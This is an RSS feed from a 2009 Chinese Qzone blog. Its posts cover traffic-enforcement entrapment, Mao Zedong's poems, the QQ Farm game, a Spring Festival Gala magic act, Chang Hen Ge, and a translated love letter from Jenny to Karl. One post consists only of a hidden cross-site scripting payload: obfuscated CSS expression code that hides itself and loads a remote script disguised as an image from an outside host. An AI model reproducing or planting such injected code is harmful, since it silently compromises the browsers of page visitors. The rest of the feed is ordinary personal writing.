http://335361905.qzone.qq.com Sat, 28 Nov 2009 22:34:19 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 29 Oct 2009 08:04:04 GMT http://335361905.qzone.qq.com/blog/1256803444 “本车拒绝一切搭载求助。临盆产妇、车祸、中风、触电、溺水，都不关我事”。
这是最近在网上流行的一个帖子，说的是“黑车营运”的事，起因源于上海、湖北等地频现的“钓鱼式执法”。
“钓鱼式执法”是指执法人员化装成行人“钓鱼”，谎称需要帮助，坐上车后并不提起报酬问题。但是当到达目的地时，不由分说将报酬放在司机面前，早已潜伏在周围的执法人员一拥而上将司机制服，称其“非法营运”，强制司机接受罚款或者采取其他处罚措施。比较有说服力的证据有：上海闵行区交通执法大队利用“钓鱼执法”两年查处非法营运车辆5000多辆，罚没款5000多万元，超额完成指标；上海庞源机械工程公司工作人员孙中界断指证已清白等。各地出现的“钓鱼式执法”因涉嫌唆使、引诱甚至嫁祸车主从而引起公愤。
行政机关应如何执法，法律是如何规定的我不想说了。行政处罚法、行政复议法、国家赔偿法的规定，在“众多”的行政执法事实面前等如废物。
人之初，性本善。当人心不古，能漠视冷暖时，就应了孔丘的那句名言了：“礼崩乐坏”。 ]]> http://335361905.qzone.qq.com/blog/1256803444#comment 134218240 Thu, 29 Oct 2009 08:04:04 GMT http://335361905.qzone.qq.com/blog/1256803444 http://335361905.qzone.qq.com/blog/1256691745 毛泽东，字润之，1893年12月26日生于湖南湘潭韶山冲的一个富农家庭，卒于1976年9月9日。下面挑出五首毛泽东的作品与众共赏。
一、井赞 1906年
天井四四方，周围是高墙。
清清见卵石，小鱼囿中央。
只喝井中水，永远养不长。

二、改西乡隆盛诗呈父亲 1910年秋
孩儿立志出乡关，
学不成名誓不还。
埋骨何须桑梓地，
人生无处不青山。

三、咏蛙 1910年
独坐池塘如虎踞，
绿荫树下养精神。
春来我不先开口，
哪个虫儿敢作声？

四、沁园春。雪 1936年2月
北国风光，千里冰封，万里雪飘。望长城内外，惟余莽莽；大河上下，顿失滔滔。山舞银蛇，原驰蜡象，欲与天公试比高。须晴日，看红装素裹，分外妖娆。
江山如此多娇，引无数英雄竞折腰。惜秦皇汉武，略输文采；唐宗宋祖，稍逊风骚。一代天骄成吉思汗，只识弯弓射大雕。俱往矣，数风流人物，还看今朝。
（这首词作于红一方面军1936年2月由陕北准备东渡黄河进入山西西部的时候。据传，蒋委员长看到此词后心中不服，奈理屈词穷，遂组织一帮文人也要写出一首，想以自己的名义与毛泽东一较高低。然经三月余，无所获，令国府文人大佬汗颜，蒋委员长只能作罢。 众读者看到此词的第一想法就是大气、霸气。其实，作者此词的本意是批判封建主义，认为历史上建立过丰功伟绩的封建君王仍不够完美，有其局限性，不能和今天的无产阶级英雄相比。末三句充分肯定了人民群众在历史上的地位和作用，是全词的主旨所在。
作者自注：“雪：反封建主义。批判二千年封建主义的一个反动侧面。文采、风骚、大雕，只能如是，须知这是写诗啊！难道可以谩骂这一些人吗？别的解释是错的。末三句，是指无产阶级。”）

五、有所思 1966年6月
正是神都有事时，又来南国踏芳枝。
青松怒向苍天发，败叶纷随碧水驰。
一阵风雷惊世界，满街红绿走旌旗。
凭阑静听潇潇雨，故国人民有所思。
（1966年5月16日，毛泽东发布《五。一六通知》，称党内走资本主义道路的当权派在中央形成了一个资产阶级司令部，它有一条修正主义的政治路线和组织路线，在各省、市、自治区和中央各部门都有代理人。过去的各种斗争都不能解决问题，只有实行文化大革命，公开地、全面地、自下而上发动广大群众来揭发上述黑暗面，才能把被走资派篡夺的权力重新夺回来。
自通知发布后，文化大革命开始。
本诗由毛泽东审定过，是公开披露的惟一一首表现“文革”的诗词，也是作者的封笔之作。） ]]> http://335361905.qzone.qq.com/blog/1256691745#comment 134218240 Wed, 28 Oct 2009 01:02:25 GMT http://335361905.qzone.qq.com/blog/1256691745 http://335361905.qzone.qq.com/blog/1255877157 近期没有写东西的欲望，翻看与朋友的聊天记录，看到早期的作品，拿出来充数。
网友万里雪飘（属龙）给其四月份过生日的网友雪景写的贺诗一首。
贺好友生日
九天飞雪万里飘，风卷龙吟自云霄！
四月还看雪景去，何惧网途路遥遥！

雪景
北风卷地白草折，胡天四月仍飞雪。
人间早春芳菲尽，万里雪飘始见消。 ]]> http://335361905.qzone.qq.com/blog/1255877157#comment 134218240 Sun, 18 Oct 2009 14:45:57 GMT http://335361905.qzone.qq.com/blog/1255877157 http://335361905.qzone.qq.com/blog/1254562189 昨日，见夫人在QQ空间的游戏QQ农场里种菜、摘菜，忙的不亦乐乎。问详情，了解清楚玩法后，不禁担忧。遂戏称，这是靠偷发家治富的游戏。夫人瞪之以白眼：“不能说‘偷菜’，要说‘摘菜’，现在的人们问候语都变了，见了面都会问‘今天你摘菜了吗？’”愕然中。
夫人的话让我想起了孔乙已。当人戏问其是否因偷书被吊起来打时，孔乙已涨红着脸辩解：“窃书不能算偷……窃书！……读书人的事，能算偷么？”。按孔乙已的理论，到别人的地里摘菜增加自己的积分，确实算不得偷。游戏嘛，不外乎我偷你的，你偷我的，既增加了游戏的乐趣，又增加了积分，何乐而不为？夫人为了防贼，在种菜时算好时间，将收获的时间控制在自己上网的时间里，以防止被偷。在近期的报纸上还刊登过一篇偷菜者说。该玩者自白其偷菜的经历，成瘾到将他人的收获期列出一个表，再定上闹钟，半夜起来按时偷菜。於乎！不知该是为这种精神感动还是悲哀。正应了那句俗话：“只有千日做贼，哪有千日防贼的道理呀。”
朝鲜族谚语：“小时偷针，大了偷牛。”当某种想法成为习惯后，在潜移默化的作用下，习以为常的人们，会忽略虚拟世界与现实的区别，可怕的一幕就会发生了。
在中华民族的传统美德里，道德观占有重要的地位，偷更是理法不容的。当人们津津乐道于偷菜时，实是已将偷深入已心，让其在心底生根发芽。父亲从小教育我，要做个善良正直的人，不可偷盗。三国时的刘备在给儿子的遗嘱里还不忘嘱咐儿子：“勿以恶小而为之”，要以贤德服人。说的就是要从小培养一颗善良正直的心。《三国志·蜀书·先主传》“朕初疾但下痢耳，后转杂他病，殆不自济。人五十不称夭，年已六十有馀，何所复恨，不复自伤，但以卿兄弟为念。射君到，说丞相叹卿智量，甚大增修，过於所望，审能如此，吾复何忧！勉之，勉之！勿以恶小而为之，勿以善小而不为。惟贤惟德，能服於人。汝父德薄，勿效之。可读汉书、礼记，间暇历观诸子及六韬、商君书，益人意智。闻丞相为写申、韩、管子、六韬一通已毕，未送，道亡，可自更求闻达。” ]]> http://335361905.qzone.qq.com/blog/1254562189#comment 134218240 Sat, 03 Oct 2009 09:29:49 GMT http://335361905.qzone.qq.com/blog/1254562189 http://335361905.qzone.qq.com/blog/1253694203 又谈到彼此的年龄，老赵感叹：“老了，已经４８了，今年已经开始戴花镜了。”忽然想起今天是生日，我已经４０岁了！到了不惑之年。子曰：“吾，十有五，而志于学，三十而立，四十而不惑，五十而知天命，六十而耳顺，七十而从心所欲，不逾矩。”
虽才至不惑，但已感天命，只能感叹时光如说：：“眼一闭，再一睁，一天过去了。闭若干次眼，再睁开，一看，已经到了不惑之年了。”
想到自己已经步入中老年人的行列，虽说才搭边儿，但毕竟算是中年了。我心黯然。

]]> http://335361905.qzone.qq.com/blog/1253694203#comment 134218241 Wed, 23 Sep 2009 08:23:23 GMT http://335361905.qzone.qq.com/blog/1253694203 http://335361905.qzone.qq.com/blog/1234607489 【回忆1998年】
　　抗洪我没去，弹劾克林顿我没上，世界杯赛场中国人没份。
【回忆1999年】
　　对中国驻南使馆的被炸很气愤，也为国家的软弱应对感到失望。
【回忆2000年】
　　我结婚后，光忙活媳妇了，没顾得上QQ。
【回忆2001年】
　　9。11那天，我高兴的同时，也为那些无辜的人悲伤。
【回忆2002年】
　　欧元流通时我就想啊，什么时候人民币能成为世界性的流通货币？
【回忆2003年】
　　国家的强盛使我由衷的感到自豪。
【回忆2004年】
　　08年在中国举办的奥运会上，我们将收获更多。
【回忆2005年】
　　松花江污染的源头就在我家的附近。
【回忆2006年】
　　我向腾迅的网友们道歉，到这一年，我还没有QQ号码。
【回忆2007年】
　　我终于有QQ了。
【回忆2008年】
　　我在腾迅已经有了很多朋友。

我的十年感言很精彩吧，点击这里你也可以写感言，点亮十年图标

]]> http://335361905.qzone.qq.com/blog/1234607489#comment 134217729 Sat, 14 Feb 2009 10:31:29 GMT http://335361905.qzone.qq.com/blog/1234607489 http://335361905.qzone.qq.com/blog/1234189703 金步摇，即金制步摇，古代妇女常见发饰，步摇与簪、钗一样也是插在发际的饰物,而簪首上垂有旒苏或坠子,行动时亦步亦摇故称为步摇。
　 鲜卑，一个一千六百年前叱咤北方的强大民族。
“慕容”，不只是一个姓氏，它还是鲜卑族的第一大姓。而鲜卑氏族是匈奴之后，在北方
崛起的第二个强大的游牧民族。除慕容鲜卑之外，还有宇文氏和段氏。其中，慕容氏建立的
燕国是当年北方的第一国，当中原大地上的一代雄主汉武帝正在叱咤风云、打理刘氏江山的
时候，燕王慕容皝就已经在辽西地区建立自己的都城，倚仗着草原游牧民族的勇烈，几年之
间就迅速崛起为东北地区的霸主。
金步摇花饰，应该是慕容氏族最有代表性的象征物，甚至形成了在三世纪晚期以金步摇为主要内涵的特殊文化现象——慕容氏摇叶文化。慕容氏家族将西域传来的摇叶文化吸收、强化，并将这种异域风格的饰品传至朝鲜、日本。更令人感到奇怪的是，“慕容”一词在今天日本语发音中出人意料地发出“步摇”的古音。
作为中央电视台的主持人（知识分子）应该知道步摇的作用及使用的方法，可令人遗憾的是，在元宵晚会上，男女主持人身配步摇，并肩站立，面对亿万观众，没有惧色，不知是不知啊，还是脸皮太厚！
白居易 长恨歌
汉皇重色思倾国，御宇多年求不得。 杨家有女初长成，养在深闺人未识。
天生丽质难自弃，一朝选在君王侧。 回眸一笑百媚生，六宫粉黛无颜色。
春寒赐浴华清池，温泉水滑洗凝脂。 侍儿扶起娇无力，始是新承恩泽时。
云鬓花颜金步摇，芙蓉帐暖度春宵。 春宵苦短日高起，从此君王不早朝。
承欢侍宴无闲暇，春从春游夜专夜。 后宫佳丽三千人，三千宠爱在一身。
金屋妆成娇侍夜，玉楼宴罢醉和春。 姊妹弟兄皆列士，可怜光彩生门户。
遂令天下父母心，不重生男重生女。 骊宫高处入青云，仙乐风飘处处闻。
缓歌曼舞凝丝竹，尽日君王看不足。 渔阳鼙鼓动地来，惊破霓裳羽衣曲。
九重城阙烟尘生，千乘万骑西南行。 翠华摇摇行复止，西出都门百余里。
六军不发无奈何，宛转蛾眉马前死。 花钿委地无人收，翠翘金雀玉搔头。
君王掩面救不得，回看血泪相和流。 黄埃散漫风萧索，云栈萦纡登剑阁。
峨嵋山下少人行，旌旗无光日色薄。 蜀江水碧蜀山青，圣主朝朝暮暮情。
行宫见月伤心色，夜雨闻铃肠断声。 天旋地转回龙驭，到此踌躇不能去。
马嵬坡下泥土中，不见玉颜空死处。 君臣相顾尽沾衣，东望都门信马归。
归来池苑皆依旧，太液芙蓉未央柳。 芙蓉如面柳如眉，对此如何不泪垂。
春风桃李花开日，秋雨梧桐叶落时。 西宫南内多秋草，落叶满阶红不扫。
梨园弟子白发新，椒房阿监青蛾老。 夕殿萤飞思悄然，孤灯挑尽未成眠。
迟迟钟鼓初长夜，耿耿星河欲曙天。 鸳鸯瓦冷霜华重，翡翠衾寒谁与共。
悠悠生死别经年，魂魄不曾来入梦。 临邛道士鸿都客，能以精诚致魂魄。
为感君王辗转思，遂教方士殷勤觅。 排空驭气奔如电，升天入地求之遍。
上穷碧落下黄泉，两处茫茫皆不见。 忽闻海上有仙山，山在虚无缥缈间。
楼阁玲珑五云起，其中绰约多仙子。 中有一人字太真，雪肤花貌参差是。
金阙西厢叩玉扃，转教小玉报双成。 闻道汉家天子使，九华帐里梦魂惊。
揽衣推枕起徘徊，珠箔银屏迤逦开。 云髻半偏新睡觉，花冠不整下堂来。
风吹仙袂飘飖举，犹似霓裳羽衣舞。 玉容寂寞泪阑干，梨花一枝春带雨。
含情凝睇谢君王，一别音容两渺茫。 昭阳殿里恩爱绝，蓬莱宫中日月长。
回头下望人寰处，不见长安见尘雾。 惟将旧物表深情，钿合金钗寄将去。
钗留一股合一扇，钗擘黄金合分钿。 但教心似金钿坚，天上人间会相见。
临别殷勤重寄词，词中有誓两心知。 七月七日长生殿，夜半无人私语时。
在天愿作比翼鸟，在地愿为连理枝。 天长地久有时尽，此恨绵绵无绝期。 ]]> http://335361905.qzone.qq.com/blog/1234189703#comment 134218240 Mon, 09 Feb 2009 14:28:23 GMT http://335361905.qzone.qq.com/blog/1234189703 http://335361905.qzone.qq.com/blog/1233228385 2009年中央电视台春节联欢晚会中变魔术的节目，相信给所有看到的人带来的视觉冲击，并不亚于当年比基尼给人们带来的震撼。
众所周知，魔术是假的。很多魔术大师也在公开场合宣称：“魔术是假的。如果是真的，那就不是魔术，而是特异功能了。”魔术师表演魔术时，一般自备助手和道具，即便在表演现场请观众协助表演，那也是在魔术师的指挥下，起一些辅助作用。
春晚中的魔术表演。第一个节目，橡皮筋对穿。由于大家以前都见过相同或者类似的节目，所以并没让大家感到意外。第二个节目，玻璃杯中现硬币。当玻璃杯中出现硬币时，是那么不可思议，将魔术师的神秘推到了极致。当时我的眼中除了那杯中的硬币再无其它。心中牛人排名立刻发生了变化，魔术师成了“最牛的人”。当第三个节目，鸡蛋中现钻戒时，我没有赞叹，只有一种上当受骗的感觉。
本人所学有限，所以，前两个节目，以我这可怜的智商来说，实在是理解不了，只能自我解释为：“魔术师的强悍”。但如果让我表演这第三个节目，鸡蛋中现钻戒，我也可以做到！首先，将一枚与董卿手上一样的钻戒放入一个生鸡蛋当中（相信以现在的科技水平，这一点中央电视台完全可以做到），再在适当的时候由董卿将这枚鸡蛋打碎，钻戒现，魔术“成功”。可这时，我在这里起什么作用呢？作用就是在那儿煽情！使大家相信，钻戒会出现在那个鸡蛋里。鸡蛋碎，钻戒现，OK，打完收工。大家应该记得，魔术师的手根本就没有碰过那个鸡蛋（所以我也不需要）。鸡蛋由中央电视台预备，由董选，由卿碎，一切顺理成章，魔术节目表演“成功”！可我觉得这个魔术的创意不好，一下就漏了。
这正是：“机关算尽成空，反误卿卿之名。惜呼？嗟矣！” ]]> http://335361905.qzone.qq.com/blog/1233228385#comment 134218240 Thu, 29 Jan 2009 11:26:25 GMT http://335361905.qzone.qq.com/blog/1233228385 http://335361905.qzone.qq.com/blog/1231573581 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://335361905.qzone.qq.com/blog/1231573581#comment 134218256 Sat, 10 Jan 2009 07:46:21 GMT http://335361905.qzone.qq.com/blog/1231573581 http://335361905.qzone.qq.com/blog/1224337743 你真是我亲爱的、甜蜜的、唯一的心肝和情人！你的来信使我多么幸福，多么兴奋，充满了无声的欢乐！——你想一想，小心肝，当特克拉拿着你的折叠的小信走到我身边，在我耳际响起那仅仅梦想似的和预料到的、带着圆润、温暖和甜蜜的语调的早晨的问候声时，我还躺在床上沉浸于梦境和沉思之中呢。我是多么高兴，多么感激，多么充满着爱呀！我的信真的使你高兴吗？我始终未能想得那么好。这个小谄媚者使我多么的骄傲和自负！啊，亲爱的小心肝，你在你的反普鲁士的信中说起幽默、诙谐、活泼。——今天，亲爱的小天使，你会觉得丢失了这一切；因为几天以来，我的心心情又是那样的痛苦和委屈，那样的低沉，我惊慌不安，充满了恐惧与忧虑。昨天母亲来了一封信。埃德加尔请求得到理查的１０个塔勒和预支他１０月份的伙食费。前一笔款立刻给他寄去了，后一笔款被拒绝了。至今我对埃德加尔的混乱的经济状况有意保持缄默，为的是以后能口头讲讲整个情况。当我收到４０塔勒之后立刻又收到了寄来的３０塔勒时，我更苦恼了，因为这笔钱经付清扎尔姆的债和用作其他必要的开支又花光了，以致我长期没有剩下足够的回去的路费。
现在，虽然这些诚实的人给我随意提供一切并请我说出任意一个数目，但是你可以想一想，我不得不接受这一切，然后还不得不负担埃德加尔的债务，这是多么苦恼啊，尤其是因为今年的支出又增加很多。然而，除了这件不愉快的事以外，母亲重新开始教训我，她什么都责备我，并要埃德加尔到科伦去接我，并且只是观察内外的举止。否则我就不可能去波恩看你。啊！小心肝，这一切使我的心情多么沉重！内外的举止！——啊，我的卡尔，我可爱的唯一的卡尔！
但是，卡尔，我不会也不感到后悔，我紧闭自己的双眼，紧紧地闭着，这样我就看到了你的含着幸福的微笑的目光——看吧，卡尔，我自己在冥想中也是幸福的，——我把一切都给了你——其他人什么也不给了。啊，卡尔，我清楚地知道，我做了什么和我会怎么被人们瞧不起；我知道这一切一切。尽管如此，我仍感到高兴和幸福，甚至不会为人世的任何财宝而放弃对那些时光的回忆。这是我最心爱的东西，愿它永不泯灭。只要我一想到还不得不同你长期分居两地，我就又完全陷入痛苦和不幸之中，而后感到不寒而栗。可是，卡尔，你给我的信写得竟如此可爱，如此美好，啊！卡尔，我简直把信都要吻破了！我总是把它们贴在我的心口上，它们具有拯救我的力量。卡尔，你真是天使般的美好，如果你现在沉默不语，现在不是亲切、诚恳的和赞许的，那么我就一定会感到绝望了。可是你从来没有，从来还没有如此的可爱和温柔，啊，亲爱的，你现在不还是这样吗，并且你吻别的姑娘没有象吻我那样。卡尔，我并没有为你曾这样吻过未婚妻而生你的气，如果你高兴，我自己也就有点高兴，我是多么爱你，可是最高的幸福，这我几乎不敢为自己设想，把它给予别人，不，卡尔，这我做不到。啊，卡尔，现在你对我也还一直保持忠实，并且也想使我很快成为你的妻子，是吗？啊，亲爱的，我愿从你的眼睛中看到你的每一个愿望，并一直在为使你快乐而思虑和操心。卡尔，你本来不需要到科伦去接我。我认为在家会有疑虑。可是亲爱的，你不是要来吗，来吧，对此我是多么高兴。这个星期我还不能想到出发，但是下周末我大概就要捆旅行包了。你说，小心肝，你能去接我吗？这会影响你工作吗？告诉我这一切！你知道关于鲍威尔、埃德加尔、豪斯女人的情况吗？啊，小心肝，你想不到我是在怎样的忙乱和怎样的环境中给你写这封信的。哈迈耶尔在户外正在作关于最恰当的刷洗铁锅的长达数小时的讲演。——其中还夹着三个孩子的喧嚣：弗里茨和奥古斯特敲钓鱼钩，特克拉摇着小宝宝，嘴里念着：“你睡吧！亲爱的小天使…　…”，哄他安静；狗、鸡、松鼠、兔、金雀在我周围上下左右狺狺，咯咯，唧唧，吱吱叫唤着。还有一只雨蛙也赶来凑热闹。它坐在一个大玻璃杯中，并在一个梯子上爬上爬下。喔，上帝！这所有的东西到处逃呀爬呀。——这常常使我非常讨厌。
几天之前我被紧紧地拴在家里，因为哈迈耶尔未能同她的三个小孩分开，她的丈夫未能从自己的无精打采中和从菜园中，从他的卷心菜、芹菜、水芹菜、大葱、洋葱，根茎植物和灌木中摆脱出来。特克拉的肥大的脚上真的长着８个鸡眼，以致不能行走，所以我决定自己单独到杜塞尔多夫去。我带着弗里茨作为向导，早晨同他徒步逛了大街，访问了丹德肯米勒尔斯一家，海涅一家，一位荷兰的老商人，冯。迈耶尔因克夫人。我同这位夫人谈了许多关于她的女友济贝尔的事，然后走进宏伟的宫殿进餐。这里又是花瓶，中国瓷器，铸像，宫廷趣闻、鲑、菠萝香槟酒。这个傍晚天空呈现一片柔和的紫色。我同女侍从乘车到莱茵河畔，然后与我的小同伴徒步回家。那是一个非常美好的夜晚：满天繁星，预示着翌日的晴朗天气。爱情之星在高高的夜空发出晶莹明彻的光芒。我觉得，它高高地挂在天空好象只是为了照亮我回家的道路，为了把喜悦和宁静射进我的心田，为了庆祝我的爱情。我多么想念你和你的爱情！我的心上，我陶醉在爱情和幸福之中！就象你在向我微笑并很高兴一样。卡尔，卡尔，我多么爱你呀！今天我无法并且几乎没有叙述的力量，我的所有心事，所有的想法和念头，一切一切，过去，现在，将来，只归结为一个声音，一个象征，一个语调，如果它响起来，那么它只能是：我爱你！这是难以用言语形容的、无时间限制的和无限度的。——其他的一切都交织在这里面。卡尔，卡尔，我想起了这一切，并且你是多么可爱和甜蜜地使我记起这些！小天使，你怎么知道把精神和灵魂贡献出来并把我置于自己内心的喜悦之上？对了，卡尔，这是真的。当我看到你和认为自己是如此的幸福时，我真的会为此付出生命、幸福和永恒。为了给你带来幸福的时刻，我会愉快地忍受人间的嘲弄和羞辱！啊，卡尔，但是——现在我经常害怕，不，不，我又看到了你的眼睛，读你的来信，一切在我胸中又安稳平静了。当你对麦塞尔汽船进行这样的批驳或分析时，我不禁要笑了！这里我立刻想起了小孩布吕恩和他的小手和小眼睛！——如果约布在这里的话，他就不会说，这儿蔬菜太少了。噢！上帝，人们在这里为了（…）豆子、白菜和根茎植物都经历了些什么？小心肝，你也将（…）发现我胖了。所有的衣服我穿着太小了，我不得不经常在线缝旁边接上一些。
可爱的小天使，你还常常想起这全部幸福吗？啊，我亲爱的，亲爱的小心肝，我怎能不感到如此的幸福，如此的欣喜若狂！卡尔，成为你的妻子，这是一个什么样的念头——也许；噢！天哪，我头都晕了！我已经是你的妻子了，不是吗？卡尔，你说，我会完全成为你的吗？完全？哎呀！当我想到特利尔，我就要发抖了——我的父母住在那里，我年老的父母是如此的爱你。啊，卡尔，我很不好，在我身上除了对你的爱情以外，不再有什么好的了——这爱情可以高于一切的、伟大的、强烈的和永恒的。卡尔，你快再给我来信，快，尽可能的快。你的信从来没有比现在更受欢迎，更有益，更必要——卡尔，你想想，如果你现在忘了我，——不，不，你不会这样做的——你决不会这样做的。你的爱情的终结将和我的生存的末日同时来临。并且在这次死亡之后，就再不可能复活，——因为只有在爱情中才相信生命继续存在。啊，卡尔，房子在我周围轰响和跳动。我写不下去了——再见，小天使，快来信，快，没有你的信我简直无法生存。下一封信中详细谈谈我们什么时候再见。小天使，我多么爱你！这就是我所有的幽默和诙谐，我的生活，我的思想。再见，再见！
燕妮 ]]> http://335361905.qzone.qq.com/blog/1224337743#comment 134218240 Sat, 18 Oct 2008 13:49:03 GMT http://335361905.qzone.qq.com/blog/1224337743